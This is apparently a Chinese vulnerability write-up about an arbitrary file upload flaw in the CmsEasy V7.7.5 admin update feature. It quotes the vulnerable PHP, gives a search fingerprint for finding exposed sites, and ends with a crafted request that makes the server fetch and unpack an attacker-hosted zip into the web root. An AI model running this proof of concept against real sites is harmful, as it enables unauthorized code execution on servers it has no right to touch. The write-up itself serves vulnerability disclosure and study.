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120 lines
3.4 KiB
Markdown
120 lines
3.4 KiB
Markdown
# CmsEasy update_admin.php 后台任意文件上传漏洞
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## 漏洞描述
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CmsEasy 后台存在任意文件上传漏洞，通过文件 service.php 加密Url参数执行即可上传任意文件
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## 漏洞影响
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```
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CmsEasy V7.7.5_20210919
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```
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## 网络测绘
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```
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body="cmseasyedit"
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```
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## 漏洞复现
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存在漏洞的文件为 `lib/admin/update_admin.php`
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其中需要注意的代码为
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```
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function downfile_action()
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{
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$url = front::get('url');
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$url=service::getInstance()->unlockString($url,"cmseasy_url");
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$res = $this->get_file($url, 'cache');
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if (!$res) {
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$res = array(
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'err' => 1,
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'data' => lang_admin('update_package_download_failed'),
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);
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} else {
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@unlink('upgrade/config_cn.php');
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@unlink('upgrade/config_cn.tmp.php');
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@unlink('upgrade/upgrade.sql');
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@unlink('upgrade/command.php');
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front::remove(ROOT.'/cache/data');
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front::remove(ROOT.'/cache/template');//清空全部语言
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$langdata=getlang();
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if($langdata != ""){
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foreach ($langdata as $key=>$val){
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front::remove(ROOT.'/cache/'.$val['langurlname']);
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front::remove(ROOT.'/'.$val['langurlname'].'/template');
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}
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}
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//先清空缓存
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user::deletesession();
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category::deletesession();
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//提取分类
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if(file_exists(ROOT."/lib/table/type.php")) {
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type::deletesession();
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}
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//提取专题
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if(file_exists(ROOT."/lib/table/special.php")) {
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special::deletesession();
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}
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$archive = new PclZip('cache/patch.zip');
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$archive->extract(PCLZIP_OPT_PATH, ROOT, PCLZIP_OPT_REPLACE_NEWER);
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if(file_exists('upgrade/upgrade.sql')) {
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$sqlquery = file_get_contents('upgrade/upgrade.sql');
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$sqlquery = str_replace('`cmseasy_', '`' . config::getdatabase('database', 'prefix'), $sqlquery);
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$sqlquery = str_replace("\r", "", $sqlquery);
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$sqls = preg_split("/;(--)*[ \t]{0,}\n/", $sqlquery);
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$this->exec_cms_sql($sqls);
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}
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if(file_exists('upgrade/command.php')){
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include ROOT . '/upgrade/command.php';
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}
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$res = array(
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'err' => 0,
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'message' => $this->message,
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'data' => lang_admin('upgrade_successful'),
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);
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}
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echo json_encode($res);
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exit;
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}
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```
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其中使用 unlockString 和 get_file 方法
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```
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$url = front::get('url');
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$url=service::getInstance()->unlockString($url,"cmseasy_url");
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$res = $this->get_file($url, 'cache');
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```
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写入后在上层目录写入文件，即Web根目录，创建压缩包并上传可访问的服务器上
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```
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zip phpinfo.zip phpinfo.php
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```
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构造下载请求
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```
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/index.php?case=update&act=downfile&admin_dir=admin&site=default&url=buTdBnP8%3DJ%3DELYuF8Z2IwZyM-awr9fH%3D0cax6mxICukxw
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```
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